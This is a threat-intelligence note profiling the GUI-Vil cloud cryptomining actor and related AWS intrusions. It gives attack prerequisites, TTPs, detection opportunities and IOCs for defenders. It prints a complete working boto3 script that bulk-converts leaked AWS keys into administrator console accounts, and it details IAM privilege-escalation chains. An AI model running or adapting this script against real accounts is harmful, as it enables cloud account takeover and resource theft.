Summary
GUI-Vil (aka p0-LUCR-1) is an Indonesia-based, financially motivated threat actor active since November 2021 that compromises AWS environments to run large-scale XMRig cryptomining. Unlike fully automated cloud attackers, GUI-Vil is hands-on-keyboard and prefers GUI tools (S3 Browser, AWS Management Console) over CLI tooling, using a consistent IAM abuse pattern — create or hijack an IAM identity, grant it console access, attach admin permissions — to establish persistence and escalate privileges. This note also captures two independently-documented real-world case studies (DataDog Security Labs’ ECS/Fargate cryptomining campaign, and a boto3 persistence script by “XAV” shared via p0 Labs) that were taught together in Cybr’s “AWS IAM Privilege Escalation Labs” course as representative of the same underlying technique.
Attack Prerequisites
Minimum access required: a single valid (often stolen/leaked) AWS IAM access key with any of the following permissions:
iam:CreateUser+iam:CreateAccessKey+iam:CreateLoginProfile+iam:AttachUserPolicy/iam:PutUserPolicy(create a new admin identity), oriam:CreateLoginProfilealone against an existing higher-privileged user with no console password set (silent identity takeover)
This is trivially achievable in practice: leaked keys are routinely found in public GitHub repos, Pastebin dumps, and Terraform .tfstate files, and overly broad IAM permissions on developer/CI accounts are extremely common.
Tools & Techniques
| Tool/Technique | Usage |
|---|---|
| S3 Browser v9.5.5 | GUI-Vil’s primary tool for IAM manipulation, S3 recon, and access — leaves a distinctive S3 Browser 9.5.5 CloudTrail user agent |
| AWS Management Console | Used directly via browser once console access is established, for EC2/IAM/billing/CloudTrail review |
| boto3 Python script (“XAV”) | Automates the same technique at scale: reads a bulk file of leaked key:secret:region credentials and runs the create-user → set-password → attach-admin-policy chain against each |
| XMRig (v6.14.1 in the DataDog case) | Monero miner, deployed either directly on large EC2 instances (GUI-Vil) or inside thousands of ECS Fargate containers (DataDog case) |
| ECS Fargate abuse | Used in the DataDog case to scale mining far beyond what EC2 quotas alone would allow — randomly-named clusters spread across 17+ regions |
The “XAV” persistence script
Shared by Ian Ahl (p0 Labs) and referenced in the Cybr lesson as illustrative of the technique taught in the course’s labs:
import boto3
import string
import random
import os
from botocore.exceptions import ClientError
from termcolor import colored
def genpwd(length=14):
characters = string.ascii_letters + string.digits + string.punctuation
password = ''.join(random.choice(characters) for _ in range(length))
return password
def make_panel(akiax, scrt, regg):
iam_client = boto3.client('iam', aws_access_key_id=akiax, aws_secret_access_key=scrt, region_name=regg)
username = 'administrateurs'
password = genpwd()
try:
response = iam_client.get_user(UserName=username)
return None, None, None # user already exists — skip
except ClientError as e:
if e.response['Error']['Code'] != 'NoSuchEntity':
return None, None, None
response = iam_client.create_user(UserName=username)
iam = response['User']['Arn']
response = iam_client.create_login_profile(
UserName=username,
Password=password,
PasswordResetRequired=False
)
response = iam_client.attach_user_policy(
UserName=username,
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return iam, username, password
def main():
lo = input('AWS KEY FILE:')
to = 'IAM-ACC.txt'
with open(lo, 'r') as file:
for line in file:
akiax, scrt, regg = line.strip().split(':')
iam, username, password = make_panel(akiax, scrt, regg)
if iam is not None:
with open(to, 'a') as sev:
sev.write(f"IAM User ARN: {iam}\n")
sev.write(f"IAM Username: {username}\n")
sev.write(f"IAM Password: {password}\n")
sev.write(f"{akiax}:{scrt}{regg}\n")
sev.write("-----------------------\n")
if __name__ == '__main__':
main()(Full original included ASCII banner art and error-handling print() statements omitted above for brevity — the operative chain is create_user → create_login_profile → attach_user_policy(AdministratorAccess), run in bulk against a file of harvested credentials.)
Why it matters to an attacker: this single script converts a list of harvested/leaked AWS access keys into a list of ready-to-use admin console logins in one pass, with zero manual AWS Console interaction required per victim — the exact opposite of GUI-Vil’s manual style, showing the same technique is used by both hands-on and automated actors.
Case Study Comparison
1. GUI-Vil / p0-LUCR-1 (Permiso research)
- Initial access: leaked keys scraped from GitHub/Pastebin; also scans for vulnerable GitLab instances and exploits CVE-2021-22205 (RCE) to pull AWS credentials out of code repos
- Recon: loads stolen key into S3 Browser, runs
s3:ListBuckets; explores EC2/IAM/Organizations/Billing/CloudTrail via the Console - Persistence/PrivEsc: creates an IAM user with a victim-mimicking name (e.g.
sec_audit,backup) →iam:CreateAccessKey(keep S3 Browser working) →iam:GetLoginProfilerecon to find users without console access →iam:CreateLoginProfileon existing users for stealthy inherited-permission takeover →iam:PutUserPolicywith a full-admin inline policy - One observed intrusion found admin credentials leaked in a Terraform
.tfstatefile - EC2 persistence:
ec2:CreateKeyPair,ec2:AuthorizeSecurityGroupIngressopening TCP/22 to0.0.0.0/0; spreads across regions when hitting instance limits - Impact: XMRig cryptomining on large (xlarge+) EC2 instances
2. DataDog Security Labs — two attackers, same intrusion (referenced directly in the Cybr lesson)
Two distinct attacker behaviors observed from Indonesian-sourced IPs using residential proxies:
- Attacker 1 (automated recon-first):
ses:GetSendQuota,ses:ListIdentities,iam:ListUsers,resource-explorer-2:Search,s3:ListObjects/HeadObject/GetObject, EC2 inventory review - Attacker 2: skipped enumeration entirely and went straight to infrastructure deployment
- Persistence: new admin IAM users following naming patterns
aws_dev[random_digits]/aws-cli[random_string],iam:CreateLoginProfile,iam:AttachUserPolicy(AdministratorAccess), fresh access keys - Lateral movement:
ec2-instance-connect:SendSSHPublicKeyto dynamically push SSH access onto instances — potential path to steal instance-role credentials - Exfiltration: direct S3 object downloads via the Console, including files protected by KMS (decryption triggered automatically for an authorized principal)
- Impact — the scale differentiator: rather than a handful of EC2 instances, the second attacker abused ECS Fargate — multiple randomly-named clusters spread across 17+ regions, running thousands of containers. 40 distinct malicious Docker Hub images (registered Oct 2023, naming pattern like
yzsqbe/ka:si,zsztqa/ak:ha) each ran a/run.shentrypoint that pulled XMRig 6.14.1, mining Monero againststratum+tcp://randomxmonero.auto.nicehash.com:9200. Task definitions requested 16,384 CPU units / 32GB memory each, with services scaled to 25 tasks apiece.
3. Common thread across all three
iam:CreateLoginProfile + iam:AttachUserPolicy/iam:PutUserPolicy against a newly created (or, in GUI-Vil’s stealthier case, pre-existing) IAM user is the core privilege-escalation/persistence primitive in every case. This pairing is rare in legitimate day-to-day AWS operations and is a high-value, low-noise detection target.
Detection Opportunities
See Hunt - AWS IAM Privilege Escalation for the full hunt plan and queries. Brief pointers specific to these campaigns:
- CloudTrail
userAgentfield containingS3 Browser— GUI-Vil’s signature tool, rarely used legitimately iam:CreateLoginProfilecalled against a user that already existed before the call (not a brand-new user) — GUI-Vil’s stealth-takeover pattern- New IAM usernames matching harvester/attacker naming conventions:
sec_audit,backup,administrateurs,aws_dev<digits>,aws-cli<random> ecs:RegisterTaskDefinition/ecs:CreateClusterspikes, especially in regions with no prior account activityec2-instance-connect:SendSSHPublicKeyfrom an identity with no prior history of SSH access to that instance- Outbound network connections to Monero mining pool ports/domains (e.g.
*.nicehash.com:9200, otherstratum+tcp://endpoints)
IOCs
GUI-Vil (Permiso):
- IPs:
182.1.229.252,114.125.247.101,114.125.245.53,36.85.110.142 - ASNs: PT. Telekomunikasi Selula, PT Telekomunikasi Indonesia
- IAM usernames:
backup,sec_audit - IAM inline policy names:
sdgs,ter,dq - EC2 SSH key pair names:
su32,new-user-* - CloudTrail user agent:
S3 Browser 9.5.5
DataDog case:
- ASNs: AS7713 (Telekomunikasi Indonesia), AS24203 (PT XL Axiata)
- IP block:
140.213.52.0/24 - IAM username patterns:
aws_dev[random_digits],aws-cli[random_string] - 40 Docker Hub images (examples):
ahnoyp/ak:ma,cxgdyr/ca:da,eticfc/mu:ja,yzsqbe/ka:si,zsztqa/ak:ha - Mining pool:
stratum+tcp://randomxmonero.auto.nicehash.com:9200 - Miner: XMRig v6.14.1
- Dockerfile artifact:
TZ=Europe/Moscowenvironment variable (possible operator geography indicator, though inconsistent with the Indonesian IP attribution — worth noting as a discrepancy rather than a firm conclusion)
“XAV” persistence script:
- IAM username created:
administrateurs - Output file:
IAM-ACC.txt - Attached policy:
arn:aws:iam::aws:policy/AdministratorAccess
References
- Unmasking GUI-vil: A Cloud Threat Actor Case Study — Permiso (p0 Labs)
- Tales from the Cloud Trenches: ECS Crypto Mining — DataDog Security Labs
- Cybr — “AWS IAM Privilege Escalation Labs” course, lesson “Real-world case studies” (https://cybr.com/courses/iam-privilege-escalation-labs/lessons/real-world-case-studies/)
- CVE-2021-22205 (GitLab RCE) — https://nvd.nist.gov/vuln/detail/CVE-2021-22205
Related Notes
- GUI-Vil (p0-LUCR-1) — threat actor profile
- AWS IAM Privilege Escalation — TTP note (general technique reference; enriched with these real-world cases)
- Hunt - AWS IAM Privilege Escalation — active hunt hypothesis with queries
- Research Index